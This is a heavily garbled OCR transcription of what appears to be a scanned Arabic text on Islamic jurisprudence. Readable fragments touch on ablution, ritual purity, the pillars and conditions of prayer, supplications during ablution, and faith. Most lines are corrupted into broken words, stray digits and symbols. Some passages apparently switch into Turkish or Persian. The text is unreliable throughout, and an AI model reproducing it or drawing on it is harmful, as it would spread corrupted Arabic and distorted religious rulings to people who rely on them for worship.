اي الامضاط ها يسرك 0
1 00 خوط د 0
رس ال و ا او نا >
مك
ا
0ط راو فدوسة اسيل املد
اعرلءودسوله كا قري
0 لقره
ا ولس |
ا حر
يي
كََكدَامِنَ
1
001
506
1 يمول دلق وفيت
الوب ةاساوم وداش
20 سد و صر
َ ا اكه
0 سن س1
ع 0 5-6
١ 5252
اي ع ا فصضًُ و [
الوصو دلي 0000
0 ست 2104
00 27 وهوا دي
2_2 2 5 ل ده
نُِوانٍ انيت ومندوبٌوهوا لوصو ظ
دهم وحَوَاْيَةَِاككذب فَاسْنَاد ليع
7 0 ل
2 صن ههه والوضو َّ وسو أرقو
الي ب مَكْوْعَا نت الْوضود وى |
ظ َه الاوك صب 07 0 عكر م ٍ
ديد و اتنا ل الب َؤَالءِ ألا لتَالِنًا
عرو د كه ا 13
معن لاسيوَاء واع إلأعورة |
يك لما اسان ستيئادا
الوصو ءوعوستة ند اوسرام ناوا
ليسلل ل در كا
0 2 لت بن ربت َبتِامَاكل واكنال كمنا مود ظ
عند الوصو وألاع أل جا تبي |
أ
7
ظ
ميلاقا َما بم
ع0 و |
قوسم 20 0 َه
سق يأب فض الوضوء وى [
ماي ا كرما سيا 8
00 وم
سه وو 0 011 0 39
2 -
1 و 2 0
ى ا كردا
رس رحس
نس وَاذك ان نازلا مِنَ اراس
ع أ
نكن صا عا هرا بو بنقطعزدانيا فاك
1
ا
ٌ
مغ
|
١
1
مت 0 ا |
ظ 0 لاي كه وو ث ْ
هموك رْسَكودا 0
0 53 دود دجي لد برا
لا رحست عو ا
ا اللروالنام المي شرةالئاحسة حي
ا امم و
تلتَده الس حمس ايسان
وان عسل ساي بدني ينا
9 ووستة الاوك 3 يسك يدي دسحي |
0 70 ا
له 0 كا
(وغستع نايا 2 ليه
0 م _- و ا 0
)2 وس
0
]| ا
ا[
اطعايرهافا ايم آلماء
امه و م َه 0004
أ 07 ا 0
2 وضْوءه لصا صل ار 1 0
0-207 ١ح
أن - على 1 00 0 لست
7
وو .عه
وس كيو يجيه بعدالماع عر عرنا
سس ررك صحف ,مساك ا
ل اوّان: 9 0
1000 اصِود سما
روات ْ
عاو ةا س جب
0 الا الديية
0
مه سل 2
0 مات وم
كو لتحي كن اسقط |
اله
0
ةا لكوع
عجفي 58 ابتك عه
ويا دا اعم إن للعو سد
عرو ا اد ل
١: ! كم نين قاد يُيَالِالْوها لاجيْلاع ظ
دل أ
لاد متكي
ائينه 1 17
72#
5
١
ال
01
١
معام 220 ا 1
ووه المفة ودرا انيه
6ه وه عرس و سد وس
وواجدمنها مسي وهو لا
0 َس لكاو نكي
#8 سدس سا 6 و وجا ل
ريت ام
2-7 7001
يكنا كص لاس
ااا ل ق[ى,
0
يوسي نتنين. الي لقره
جنت ومنار ايو باون
ٍْ 20 م 0 0 0 200 ١
زر عدوان اع الظايلين»وا لَصَّلدَة وا ا 1
أل 00 يس 2 ا
|| َال الغقيه أبوا ارك رع كه عع يات |
م ل ساف د 0
ا رك و بيرم |أ
| الصَلاه 0000 عقت ||
0
ا ماع لام ْ
0 |
لكوأ كن ام برام لسّكوو |
. هو 0 70 وو ١
||| لكر مو 0 ا تت اليه
١ ممق نيدملا
20 اهانيع وكا
1
و الاسام 0 وو عام 2
2
ا
|
| ماكحا يراتا م مِناطو
سرت لل فر سرس سس عسل سس لل
ا ارتسكا
إِنَااضَلَاِةٌ دعا
م 0 رم 111 ا 59
وضاموفن
ا سق 02 7 8 ور يدس 9# 1 5
عا وين 1-2 اما ألسكَة|
0 00 1 دشتله
ا
ا
ِ ةا م -_ موأ 1
دوعن وه دوأ عر فحريرب عبرطوا 0
١ سانا
ايا ساوسولا
ا 6 22 سوه
للك ربوا الاباك مكحي |
تت نما كلك 3 7 وك عع
م 12 اا
211111111
0
ار 1
وَإِقَما صلا يلكوم رقصوم سه
تددج موسا ؤ
١ ا ع 1 اط 00 ف كوأ
صمل ليه ره ا
اوَسَخّ قال حاو لوداع صل اي
0
00 را ل وود ور 2
١ وصوموا سه كمف وا بر رب وادواد ا
ا وو ص م دا , 0 ري مهد 3 ا
ا أموايى” 0 000
ا يت بيه فنمك وا 0 ا 2 عا
يكاب عياب ا برح ع 0
ا ا
م 000 د ل سس ف
الْيوَسَؤْالَعووسَ 0" 50 ١ د 5
عاد الذي يمضه أعام ابوك 1
اميد هكم دين« »وام جاع لمان مدا
ل و
در 0
20 م
مضت ييه الكو فسن
مسَوِْنو باط علبَه وسَن ىبومسَا
دينع كير سك ولادددَدِ واجسَاع
ار 4
و7 سه سراد
الامؤضنا
00 0 0
اهو طيوس ارال لأتجيم امى عل
ع 2 0 -ه
وى اخ يِدَليِلْمَاد وى عنرسودر |
2 م م م ص سر سه
لوعي وو َفيك يلام وض اعون
سه لس ع ار د عه اب سسا
لك اط مقافتت
000 م عوغز بز
-
7 0 ا 0
كالصوع َالدَلة الكو واج والوضود
الي سجن 4 وم سن
وا لاع اماما بو والحيض والنفاس
ادق فرت 15
هم ره
ا
ا
شيا لَعاطِس وجِيَاوم يلض
سسا ثم سر 2
2 مره هه
كنع مََان ضَال البحمّه ومن
1
7
6
١
ا( - 7 ا
ا ل به ا وما
أ 2 0 5 4 0
مر سما اعم يار ات ل
” مر 0 ا 7 يت
وس 2 مرا ْو فا لوعن ميك |
ماقم 6
هادا لكي لمَيرعاهًا حصَؤْ ]|
ٍِ ا
لايك رتكا 0 وما ومنثت |
الذعادويذا اما
" 0 / سه و سه و رق 0 1
| داهم ابعر سقط عيالي 0
500 تعنم
لوعن حَدَتْ حنيق ويك نت كام مدت
0-0 و
0
١
20-0
2-
لي كول والشافي واج كنبا
ل 71 كا لوم ولاضْمَاءا
00 : وَالْقَهَيَيَة ةك رْصَوْدَاتَ 3 ؤ
تفز ميثخ لالع أ
3 تيس سي
انوعين طهارة غليطة و رة خعيفة | ا
ا ع 2 07 ري
20 0
الْعَهَادَة اللي فَكالاحَِ ]جاب
0 سس ف رسا تيا
و سوا ليْمًا سكام الطهادة | حْميَه
يا
را سيل ميم
م 0 سس سسرسسصسه 7 سمس 7 سس عم وه ف رس 1
بان لماعب نوَّعينماء مطل وماء مفيد
-
السد ما و 6 ارام ا عبس ديم 7
نل ل
ا كه 4 فصر 2
جع بنكو نك نا
ا
1
4
الا
1س 50
ا ل 0 77 اناد
عياض و) لود يروما نيه 1
1 1 حم وده 1١
ا #صحمه ام مروطهو يريا , اسه ا
كك م للدم الِقَمًا
١ لسع وَمَآء يزعم اله 5
أ 7 0 م رتفدو ا
ردي 0 2 ا ب |
ود ات سان 26 57
خسوا شح وذا دا
ْ 391
يا
أ
'
ع
١
10 اث بيس 6
يي الو ويد ور
0 أ
0 لجينَااُ. دوا “ليدم
6 ا
وام مااشيهد لصوتي عر رتوم
و رد رأ
-
م
--
0
ل ابض ل لد
8 صاصر
ايه
12م اضر د عد و
سدور 2
ا
كو يقزر انالك
للْبِيَهلا كيكس لون ادن |
]كيو الوص وا لاجيس لير وهوهول ذم |
2 زر مسحو بارابر اديه ا
ووحكتابرا لعيو وا نه لابزيلا نجاسة
ولتكيَّت عازن وده |
اس سس ١ ا دس
عع كاسني وككر حم طن
: ا ا لسر ل س7 2 وو
اكه و بوايز 015 كج وا لطاوى
ا
4 سس سه
ير
ل 0
آم
فرص ص5 21
ب
6 له
ََُ
و
0 ل ناءة الف رمد ووستج
6
وروكئعنناندلوسينانرد”
0 2 ا 2 1 7 ره وآ
ا كك سكا يرل ْ
١ لهاس ار يصوي ِ
0 ردس
حرو 00
ا ابروا شب د ]الك شراعط بإ ا
لو سرازط وادكا نا وكَليباتِ و7
| تاجو ندادد ان يشرو 2
#/ ب 30
سن سك ب
اناب لوا لشْروع ذا َل أمَا سَرَاضْلها |
ا
١
صر 5 اك 3
س ل ا ل 6 7< ١
امي مدت والطها ةماسا
اسه رم 07 تّ
وسانا عدو 0 الو والنينا
18 أركانه سه 2 َه يض تكبيرة الافتاعأ
م
و رج - 7 َّ ور
والتام واه دكي سمو وأ لمعك
ا 0 سس عض يساس لور
الالجيرة مدا ميقكاالسَنَهُل دلرو مرا صَّلاة
ع اوسا اوم لل مش سس 10
أ ١ ل سرض 2 144 0 ا
1 وس سر |
لذ وَعِدَدِبوسفٌ وحد لس عض شم 6
0-0-2 2 ع
0 المح ليسستَمنًا لملا اه
ْ بك بوسفٌ بعك ل ب
ان ليلس ا
لوكا اه
ا اها لدسأ أمنناها يكنا و
وك ديار رفوا مسرا اوس
بين كي قاس وكا
1 نولتت مسج نيلك
0 "1
42 كي
ا 0 0 ار 0101 ار
أن لسك فا ومفماح الصّلاة |
ا رو ع ترز 0 د و
0 5 2 اكامروج مزاضلو بان
ل ساس ات سل
| سو فسان لطهارة مرا ٍ سوس
|إشكب ترك كي راكد كك
م ك2 ب بس جين
8 دبك سوا لشبيراء مور كم
الست كدو ىعن ره رسوذ اال ساس 9 0
وسَر َسيَل | انسَؤام 2 سكيد
ا
ا
ا 5ل يسبلا
| ككرة 2 ١
أله كيدل لعا لوكا ما اكت ف
| عاش و 0000 ب سو به" رس ل
قوس ألشَهعلمه وسل” 00
أ 0 7 7
ولمدريامت. فنعلل والذلوا لوه كم
0
سه سس سس 7 ؤس
اسم فصلا يفل بان سترة العورة
25) 2010
0 اا
0 و ا
م كم سامه 2-0
ا 0
0
هه ا
دونب وى واب
ل قصلو 200011
عوبر 0 ل دااغليها
سسا اله 0
ميك
1 د 3 0 7 ا رف
سا الجر م ار
وَانَالسدة فماروئعنرسول 0
لو مسلة اتحي عدا لمر انك
١ ًُ ب
الس 0 اسار ١*٠ 2 00 ]| أ
| الصَلْوَام ذلك اسيَعبَالَ لَه فصل |
م ست ل 9 قم 9 4 اس دا
0
درس
|اما لكان قموله قا فسيمصان أللد
ال 8
اوعنبيا وين وموك والمراد ميهأ وا ا
ا( ل و كر له 0 3
١ هك 3 امير كام السنة :
| الصلا 2 بوسود
سس 0
اوم و الع 1
سا1 عير وال كمايا يلكسنا
و 1 1 ور كس
206
يمن وص را
اراد فصا لْضسحيت وال |
مغداد شاك لتع روسك م2
ا روصو لما حي ذا ييا
0 ل ووه
5 مو ا
ل وا
ص
ى س2
لسن
م 22
ْ صاد مساق و 1 ١
6 ا
فاع" اس
موا لبيا ىخا ا ظ
سد بس
رت - 7#
الله كد وسكا
الداد ماك سد ا
1020 0
جا سس ص
يا 00 1 27
ْ اناه جيل وص قفألا
الك جمدما اسْترييوص لطم جيرصاد
تخ روصع لررءت ]|
ابعل لضا 0
1-2 0 رس 21
0 0
2 ةم سد د ا
وفك ووضت ا شلك ووقفت,
| ل ا ود م
مأ 8
ميم سّعذي نا لوقتسن فصل وأ ؟
|
ك0
م 6 0
لغيه 1 1
١ وام ده فمادوىئع رده سول
| 000 ه80 7
تاطس 016 اعمال
0 ل دسا
الو ص 7 ٍ
9 ل ا
كر
- 1 سس 9 رس” 2
صَيَاله 7 انا
ص ار ماو 1
ماك 76 6د
وَمَسَو له هته لاض 7
سار رقنا
إكا دس بصي أكط إصراء يرجه يرن
ا ل 0 6ه
سام 3 نس قط ايراس الا شو تصد بذ
تكبيرة 0 نر الست
ودر ار |
ا شب سمو شي و2 رَسْمدو
عض وهو اه علا كك امال
0 هه 100 واس
م
ا 16 ها لمكي سك و ء_
ميرو
يا
011 ا رجاو م د
وقوموالله قَانَّن١ 2 سو سن ١ الفقادة
سدم لاس 0-2 7
را حصا اس 0
اب 10 عت 92 رسا مسح او
تماروى عن رسولاد. صطؤاله رهف
الور سا الجر جك عي ا ا 6ت ا سدم هوه
ا 7 ١ 1ت ع 2 فمّاعداا
م.ق ل بص ئالريض قامأ رخ لول 0 -ه ا
اس ” دمت و شاوه سوبا ىا حش و الى ١ ||
إن رطم فمسَلوِيا عاه ه يومىثت
0 - ا ل 2
#اسداعاءفاد مستطع فاه الى
اول بالتاوزه ظ
بأدَ مره تكن باشحكار سما
لمكب تصوله هال دافرواما سر
ملعن وَكنَاالْسيَد ادو يصن روا
البو ا 0
الماع صقان كايا الكو د
جع-
)ع
ِ
صاب ولس زا لكاب كول كد
1 هلين امنوا أرككوا وميد ادها أ
0 : لوا برل بور ةا
ظ تسسات ع [
جين لاخر ار ركان الْصَلَات عله
: ذيكَ ركو -- ل وَاعنا 5 ات
0 كن لسكا د
أن لكان 0 ع مر كرو
0 ار اي ل
١ دقام ومهود؟ ووو ال ُ
0 2 2 2 “2 1 م ا
صَمَادوِ دعن رسولا لله ووس
0000 1 تيه م
آم 1 دااحدذثا مَاضمرقدد د
1 هام 0022
0 م سه سه مم رار 7 ا ال 1 00
5 معودة عسل 7 0
:7 7د صم وصَكَءْسَْلعَهُ اك
ل م
0 12 00 0 4 1 صن
0 ماكر -
مشإحاله وم اانه سبعة 5 1 ا
صلل او ا
ع سص 0 م
دَِكَةَلحِكدَاب ودع مزل دونك
اق ا
و 8ب 822 2
| لادليين واف الالاة را الشنهد
و ردس مو
ا
ِالصحكة ا دلي لف 7 0
هاف أضوت ذا ري كان
فا لضم ما لجان وكال حص مَعاسدَكٍ 0
000
وَالاجنلف ىمري وجوب عر الَو ظ
أل كمسا ءا لض عَدْو سوا ركم
اناب 16 0 بعل بدن 0 ا
سمه عع ءاره 220 1006 8 0
ا ور
و
١
00
3
-
اكتوه 7
---
0
0
أوَكسَاسكنُهَا
ا ا
وقراءة دايحدًا
5 رات أل
الوا ضيه 500206 وم
-- 0 و
اي
0 سل
سوا كاد كك تسيا
دَمَوهوأ 3 خأ
عبس "جر رواسا مسا
لصلا وفصاه وان 5ك ١ كأنت ْ
9
فاق عو انوا والفوث والشرية
مين المي وال وات ال كي
ا يعد 56 1
شمر وَفِِء ةمسد قعل
كايا هبنأ حرس
آ# فر
كَل ْخِلالِا لصَّلَادَ ا
َالْسَّلْم ما |
5
كلد
0 1
ا داو رد
دوا
2 0
أت
1 ع
يا ولوشلك
ا 9 نا
0 تالافك |
ل
ع
ل 2
لصِلاة 7
2 يدس 0 رع رز 171 م ا
5-2 فضاوه 00 0 م
10 ا
ا
'
7 2 كس 6 0 1ع ُُ 7
اسصد نااك لسَبوولك كو ل 1
نما
١ ا
ا أن 59 سَاعِييجَبٌ وت 006 0
كوي نيابت )سا2 عدر أ
ْ ع ا كي م
رار وو ود صا
ج1242 نه [ذا كن عامل > كون مسيمًاا
كيه ماكو ادا لع ب
“قم 21 0 1
اشوة وص سَرَاعلبكَ يبن
24 يي رس 220 22 ا
واو وَمسَكَبَا وا دا ايه
2 سباك مره رام جر ءرد هو
كم ننه سنا كك ا
اي
الإنان وغوم فصَا شامق
اي ا
دض ومن م لديو ةلاذن
ا يي 5-6
وَصع الا وى تو كد
و
َوْللشَانمِ 00-7 ليلد عبن
يدلب ه لوكت ؟بي ألْدَسَأسَوااوا قم
لوه اضوع انيت اك
آ 0
لس 1 20 2
ركو وا تاد ؤس وأرس
0 مُدُسمًا 100 نجسلا 00
م
نوس الاي والحكساا
أره و
اه يه 0
> اا ار )0
حاكن و لىوامّاسسرةالوضوع سه |
صاب 4 و
ا هيم ك3 ءا لوضوء وغسل|
١ 00 لإِنَاء وا كن 4
راو سل 7
2
بيذ و اضرم وعسذالهنساء
اروص اه َالَومكتَائوا ِل |
أ
ا 0 ا
الوضوء يلسا هكعك |
١ رف سر 0 و 5
ا ريما د وعس ]اليد
ْ يدغلان نفا اصبويتنا. 505 لكأ
1 2 و 2-6 1 ١
ل 5 0 00 4 نييرن أ
الك ا د
0
2
6 سارو يد لسر م" حل سنن
مس إعص ومح ألرسبه م إحماء
قاهرا اتاد وك إلا جزل انتيل
2-0 دامس وضوء
فَنَدَالبَيدُوَايكاءٍ الوضوء مايه
0 ور
مداه 0 اليا بدامنووماعات
> حتاعلة بذكي 6 0
اك نم12 لياف
جُجيعالَآب إل وا وم 0
ل
يعن ا قرا
اكلام وى ايع
4 0 2
عوك عضو وَالْصَمسَها يتاه عَاد:
و
اليه لايسنبمتاكابيز ىه
0
للفو الأمن م 0 ا
ألا لصوا لايس دايأ
ا ار عر واكك ١
"١ 5 0 7 7_0 0
اععدا سيا اموا لوضوء فت |
ا 27 أ
اكشفالهورة بد تناد ولمعا لبود ١
|والعانْط و الكاء وا ا
0 : 1 ةا
روا 00
و له دمن ملك سَنْمَباوَافَلَ | ْ
ب 200 0
الك
0 بودرة 22
_ 7 1 م 2 0
ا 0 2
و45 ساس اكلم
5202-2
ل
ا
0
ولعب 01 00011117
0-6
ه-
ا 12
ئ أ
| 0
ل 0 ا
0 22 صا سا 0م
م قدي نرم هذه
ا أ
1 ا -
ةضيع 0 8 0
١ لكات قاس كعمد ددم ا
رع 5
0 0 - َي ل لقره دون
دا امد به ا
0 0 58
>
ذا اسن 68 0 ا بدك ]|
0 لذخي مه سىولميكل 16ة]
سَسِوٌ لِك لو ضِمَ اموا ما إردعة 5
جم 0 00
وام ملق ياوينلت
أ سد ١ الح 0 د فيل ا
امدمار ا رقي د رَأَبفام م جور
ل ِ او
سر ١ 0 7 0 - 4 51 8
7ل جد ساة 0 0 بغار سه رست ١
ولد 0 0 2 ١ 2
دو |
0
7
ظ 507 حم ١ 0
9 8 0 5 غحى ينقبه 0
0 03 7 0 0
وَلَواسِب 2
5 سبع جاه أن تك ١
حرى قمر
2 0
سام جد 0 ا
حي فصلا ااي 20
تم 2 ا
١ سس
لاقي ليد شوط وهوثلةه أجإوماحيج |
1-0 3 00 00
م 11 م9 0
موده
ًَ ا دي رد عار
3 لحككيبن معد عراس يوي
حضرت عبرال سل |
دوا
مره - 0 0 -
ع2 باكر ١ 0 000 9
ورو شو ةحراج بن ودىىا و ترمد | |
جما ار اك ا 5 واحدٍ جد
06 2 1 7
ا 2 سمو خبرده 2
. بوسوز د امام شا بف ع
تند قم
١ تدده
000
واس مسعوج دوعات اما ا
س1 17 س0 0 سد سلا
0 دكا لرومه
||
لم بسع إن كاد بال ثالما
كَّ
ميَوَافاء برا 3و مادق وكوب |
ورم وَاللتلن 5200 شهدذلاء ه
| بزايم سبي
حت
متاك يد ول
-2---
دس 0 20 م ا
الئاه و وا لابيسيبا اء فصل |
١ سندى
2
0 ييه اينف لون د ٠
31
الاسزبرا
-
ا
ا
ا
احم ميس سه
اوج طانىكارى “كان اسكرىاهم ارطاغيو ين ادلدككر أ
تر عي ارو وود
0 رط ور المت
عدد د كادن بررط مكار
- 0
اغا ايم" |
ا
ا
سكي ادن داري اويل *كبونلره كشي باسنا ادباو ا
ا
28 بكرا انها سمه باط وا لكت
وه 21 -_ م
دا 5 8 مأ ست كومودايل > دجيحيوان جيك اولك
1
اير صو بيغز سسالا 0 ١
س8 ا
ق ادنر
557 00 10 0 م وسم 1000
تبراء والسعال وطوابب
2
2 يد
ججببيي 2
ار ددر اراس 1 7 _-
م جحي رول الداء من مستبانته
ا دجلك ارق مود حوصو ايم سد لك وض"
ا 00 و2 و اس بده
بود دكره وكا بعتم آلا 0 عاب
5 0
1 0
0 ١
انكل موه ومن موضع اليا
بعل قد ايأضي” ست بلاق
_- 2 سس سس
. م ل ريلد ا
افق 00 اق 0 00 2
71 وكمالات: مكايا هْوَطكب التَمَاوةٌ با
د س2 10
واب سرك وهال عصرم
ا 0 درست ١27 سدم سد ١ 8
لي ْ
1ل سن بر 0
|أونا 1 5
اأحكربة رحد شْمَالِهِ وقال بعضمم
آ 7 سمه
ف و ةرسال س 72ت
| هوا يك مم ءحَقْ يرب إل الجماق |
! اس ته 0 د 0
ل العم ماك يت اسم 0
8ع ست ف 0 1
0111
لسع ل 0 7 0 1 عر 8د ار 1 ل 1
أفهوان ب 5 علا لارضحىق سرود ا
ا 7 37 4 0 ١
ا 00 ل مشراعل د كنا
امسر سيج 52 ا الدسخولٍ وللروج 8
١ ا م حلم
٠ اليسرك ف لعا ال الهو وهو اتا
بعود © الممَان اعد يك ليبج [
0
ا ليت رطان جم 0
1 0 إدكلت ااي اوتليج)ا
20
نت أو بريد علدا اولمح تق
لدي لوا كن لايس ال زكرت [
دده درل )أ ث اث ٠ صر
ا وهوان بول 2١ مد يدوا ينوادعاد هب عغبابونضي
ا ل
ارام
| ل سات ساس 7 در 2 و
ا وامسك علّما بنفعيئ ودوى عن رسو
سَيَداعيو وس مه
ال ار ته طا
7
حار وحبهها 2 0
قير
38
لب
0
ا
0 2 1
-
212 وام اس باس سس سا ور
0 0 0
ادطىا لله عنه | ين ا 5 ا
0 لكين ببصط وواءم وكوزه يهاللككا ١|
مد 0
تاه نانس
|7 22 راق صر 9 أ
اديه ع كينا يلام سر موجه
١ يه - ناراف 0
ا ذلك يسع ايمول #المم
و وس سر اسه
| اجعلمِنَ 5 لاب وأجعن من المنطهمريا
أو 8 1 دَالْصَّلنَ وكام
ل لأحَوف عَلميو مروت" 0
ديرا ار ملسن |
تمك ماهو مسيتكالادياكم 2د
َمِل وجاك جنات الْنْعَي ©
2
وس ع 2 نه
0 ركم 0 » اتسين فجا
0 4 ره سا ره -
بالضاع دان نك فك كك وقول كفلم ْ
ع نورقل حص د" 3 ا
ا * ل ْ
ب اس العاف أده 0 ١
3 ست
ا م ساسا امم و00
52 اه جيك وادذقئ من ا
ا ميل ١
ا و مم بن ف .س2 و
سه ل ا ره الا 26 سلا
ايوم سود وجوه 50
47 نينول © الهم اعط.
يده ا لمى ودهول
9 0 حرص 72 و ١
2121 4 0
ا 3 0 © لل ىدف |
١
٠ أ 1ت واس سد لا
ْ مال ولام ودآء هري © مش مسح
00 ا © الهم عق مرحم
امكل كاك ه شريمادنب|
هلجع وض 5 سَيموك| © 20 3
0 و سل ء دما
ادر ا 1 000 رشته ا
4
ا
5 أستيومتالتااسط ولا ا
رس .سه 00 2
سكسل يجله المي ونمو ا ا
. و رس م 2 ا
ااا لم0 ؤ
/ 5 عا
م
دي
000 ازور برس سارك 017771 قر
و اخرى 0 يك فيا لاقن
لت الهم ١
أ و ا جاه ا
0 بأمعمورا |
0 لهس سأ
0 وميه
0 2 د
و ا
30 م بيط 20
20000
هس ا سا قارو
3 ل
ا
ا 2 22
الما 5-1 وا سهان مهنا ع
صَدكَودَسَيكَ ه 0 ب[
ناكام كلفد علءا لو
إن شتيَصكا له 0 0 7
ل عراس الف اعد دفي 00
مه 0 د
0 حل عرو سدسم
صَكَ عله وَل هآ سق
ل كرا لوضود
يدا حك اصَطَء الله هَل واب]|
سيت سَتَمصِيا احا دَيَاء لاإ
0 8 م 7 2 05 ا خالا ا
0 َك 0 3
0 ا 00 000 6 0 سس 2 ١
5 أ م فياك
لبوا من اعيدد
ل 5
[
رَرَره ايا
ا ات ِوَ عدب #و روك ابوه ير وض لذ
0 0
ا
دم ا سا براضا سه
! م الصو نَكدلَام بإ لمَددٍ
ا 01 0-0 أ- لط 000
فم نوها مين حكيب ينا شهدا
ار رسف صصص لس | 1 1
[ ا 0
ا
ع سس صر 2 كر اله أ-ه
تك اليا ب ْ
1
ا ا
وجو يشان بطهرقلبَه ماد وَلَا شو
سجعنعمه 1 4
< جم 3 سل 7 رقم مه ل
الكو بن والتان أن يطَرَعلبَه نا
3
٠.
مر
ليوا دك بد
لله وان عله وَسَل ْ
2 0 وس 7< 34 1
عا الوصو مره وأجره هن مِنَالصرلعين
1 لسَأم ركذب وَالقيبَووا تايا ليمأ ا
0 و 7
١ 200 طهر بطءَه من روا 8
اانا برضا عا من بي آم سانا
لياه لمعيه موا بدن
0 مولا رطل الستكوة ووظ اط
١ 2 حوصراه ا للعود يرْورَوكا
انيبن ال شيل ٠
| 7 و 0 ع أ
| يخم أَوعِي أن قال هوان >
١ 0 دادعال 5 الإستواء 0
يم داك سوى كَاَلمدَمَينٌ ا
ته 1 سا ست
عدن فصل ماعل يان | 00
7
الي
س0
02000 - 00 ف ٠
21 هَآدَاعهاد كيه ما قسج
| معد دكا لوضْوء وا د
2 ضرءؤل عد سنويو
لآب ب فصل ماعل د الست
أذه_
-ه
2 ا يي يا م
ظ ا ا 2-7 مسكة
52-0 2 يس سه ا
[ حّ و ال-7 و 6 أ
اللو ص كَو توج 0
نذا صخ وتان سن
رحد اعنه ناد 2 صَّكوَ
1 1 يه 1 ر 1 ري و9 0 وروا
افلبتوض فاك امار عاب 2 الله
١ 2 سه ا و2 ل
صا معاء! إذاحكان عر ْ 00
ال عت سا اسح 2 عت ا حا
ا 0 ريا سك لوضوءع
0 0
)بل
0 صْمَرويِها
0 اد محر 3 سكن
ستو شا سار
م
مسي 2
6 ا |
ع" 2 0 5 و-
راعا فار سر 0 3
سور
وده
وده دولناد كفم |
0
0 وي" ار
ا
1 م 2ه 1 0 6
أذ ري اباي ّ
اد
يز فل
ا دك ا 0 5 12
2 سن
ا
1 و
5 وي : 0 1
سس 5 0 0
دن جيم أعصًا :فان ميذاى ا
ْ اام مسال و فَمَلْا
عدف ا 0 0 الأحت|ا
|
دن سِلهامَا ا
3 1 م 00116
7 اسمن سمل
7 عمل سه 020
2
مرق روس ارسق ّ
ووس جع عد ود مرعذلكتأ
ضَادَ ديك وَبِصَدَعينًا #وامًاالسمد|
4
| ا 0 2
0 لير ص ويا سه سدس س6 0
ا
5
0
0 32
0 1 152
5 لخب مهمكعا
وس ف ا ا ا 1-6 عم ا
دَلْكنَ يكو 2 ا 2
سم 500000 00
ا ويدكها نتصانا بخ الأرانة دن ب
االمهادة ب اجا نَصّلَة امرِْإجَلٍ
سد كن لل ناخ نانيك
١
52 ل 5 2ه ١
مع جود ادك سه وو وعحَالصّليدأ
الوص ا و راصام 0
أوهومتطوسن يحب عليه ا 5
اوور عد شب عدأ
ا
ا 0 و ا
|| توضوء مرب ” تكن هن لاينباك |
الهم سس كم عجرا كر صارة ا
, بإلامان ن فررصضة اموسدة فصل الْامَانٌ |
' الافارخ
اَن ةوسا بيار سال |
ا كن وحمب لأنباء وَألصلٍ|
جه 71
لاد 2 26 م8
6
ا
كال كم دما 7 6-*
06000
0
27 1 0 2 00 0
بنع يعدا ياي كعد ا
0 6 06 وه
كماالاما
الج رتنه مزه فأرياش
3 هر ظ
٠ و ىد
لاسن ص ايسان عاذ ك1
م 5 لتك جيج 1085
ظ ا 0
0 5008 1 0 0 و ا
7 وو س”
نفعلا لإمان
0
0
ا ا
ا د ابم
ؤ 00 راك سكسل
: رمم طعي الامَانا
ل موحد والْشَربِصَة وا لد
فك لجان ]بين موا كته
اررق سأرت راكنا
22 ِوَلاسَطلِ وما لتوحيدمى|
امقر كبا د لما ا
( ركيد عطي وك
ا لا
الشرهة فهوا تياد ِر لوي دما مره ْ
وس و كيه 4
و وا لساب عن هيد د وام الذي فهرلددم
طق
220101011
١ 7 2 تدونان |
يي نوناقب ؤ
- 2 ا
ا ا 0
2 وحاؤظ هبرو مهو
م العل»0 شتلك تك
م 1 0 و
اسان قهوان توم
ا اوم 2
وحكييه ماسو ا 1 ع القند
1 سم و
0 1 0 ط كه وكا
ألم عير لوست لسرم َألْصَلوَا
كوو 4 أي ريه ونا
وكشا« وما يهالو ا ولع
ا 0 '
ا مرعاء اماما والسَكاطين وآ لامها
ا 6 يده 0 ١
الك ١
ا
0ش دس اهيدا ايان 00 ل ا
| دياه د ال |
1 27 زر
تموصنعالحبدومو لوف وما كاب
وت 07ت امرض ١ سد رادم دآ
د بت ا موصن ارب وموعيرخاوي و ل ا
ا 0 1 سس
ايا له
يا
1
ا 0
يعافا لاد 2520
ا 2 1 صن ا
يوب الأجير » لالم كات برقع |
/ تتجوي ديم 7 درا
عل" 6 م ادر اا ١
| /مع روب وممِمّددسولات تمل (١
5 ا
ا
ا
ا
١
ا
ا
0
أ
/
ليسي د ل |
: 2 ا 0
رم سي
ا ١م 2 ص ا م
6 د َم ١ ُ سم ل 4سا ا
3 37 0
ات مر لتك
ب ا ا
0 8 ا
ْ ان إضد امو ودرك . معنا سِيدْدٌ اناد © |
م يل 7 2 ا
7 > هد ررك ا مر ا
| َه 2 تم هم 3 ٠ د
ليود باهالمين © والىائ: لل 3
1 0 7 ل - وم ا
| ل لزي داو د |
0 م “تر فدوور
١ د
2
ل 0
لد 2 رم ا 0 “سو " ا د
0 افو لدو وى و 0
أده 2 ا
اوعلى الو وأ صا يوا جمعير ©
0
عا
1
بك
مأ
:
3 :
ث رهه
ىك
.و
/
وى
:
ع١
:
:
عا
1
رت
"اي
2 حو ١
دري 70 د 0 هن 7
0010
لاع ا
ا
مره 7 0 1
53
2 © فلاراييت دعَردًا
دم
. ا 0 1 م 0
ْ وحصلِه] !لثمن اصولا و فوع
ْ ا ار ا ان ان فى
2ه د و واولاو بر .4 > رار الللكي م ار |
30 0
و 5 0 0 ظ
المي لاطا فاضية لمملا
3
| سبح اك : «خغزرك حرق ا
ارمع 0 7 ١ ب . - ُ 0 2 ا
وا ل :خيبرع وَضتاوى قاضحكان 0
- 5
!
ا ليم الم عفعيوعمم يم
خيلا 6 2 2 0 0
1 لزعو لعا ا 0 ا
6 ذذ جح مم ل كي ا
1 أ
عه وو كد 0 ا
أومورحد ميةا ممصن © وعنرة لمتكم
: و حك و
3
ظ
0-6
4
5
1
ب 5
00
1 026 07 0 0 و<
1 : مو 00 2
أ 20010
در
ا 0 ا 0 1
انعصاه ورحمدد فاك ولوأ لركل
ك0 ا ِِ
1 ون دايح جسسب ورديب “اناي 6-6
17 2 7 ل راع يقالن ار عراس 1 م 0/1
وَلإسِنَادٍ ىه وهوا لون سداد ومينه|
“قافستاوربى َ لض ااي ا
1 2-0 ١
لابه ا 2 1
عرانء ىل 2 0 * ودب 00
ار حي
0 58
١ 2 ماص 0 ين
اناا كوه و قوله ها ووموازرةا:
ا ا
297 دا
اس ب ار 0 01
اوفوله هالمض مانا لوعي نسو ما
نيدن
لو
ا الاي لوزن د
ام صا جه 0
ص وس م
| ضصون وفو امل الصو 5
-- أ
0 '
١ 0 - ١
بي ووْموَهَنَ
#7 7
2 رن 0
ا ا 7 ا 0 ْ
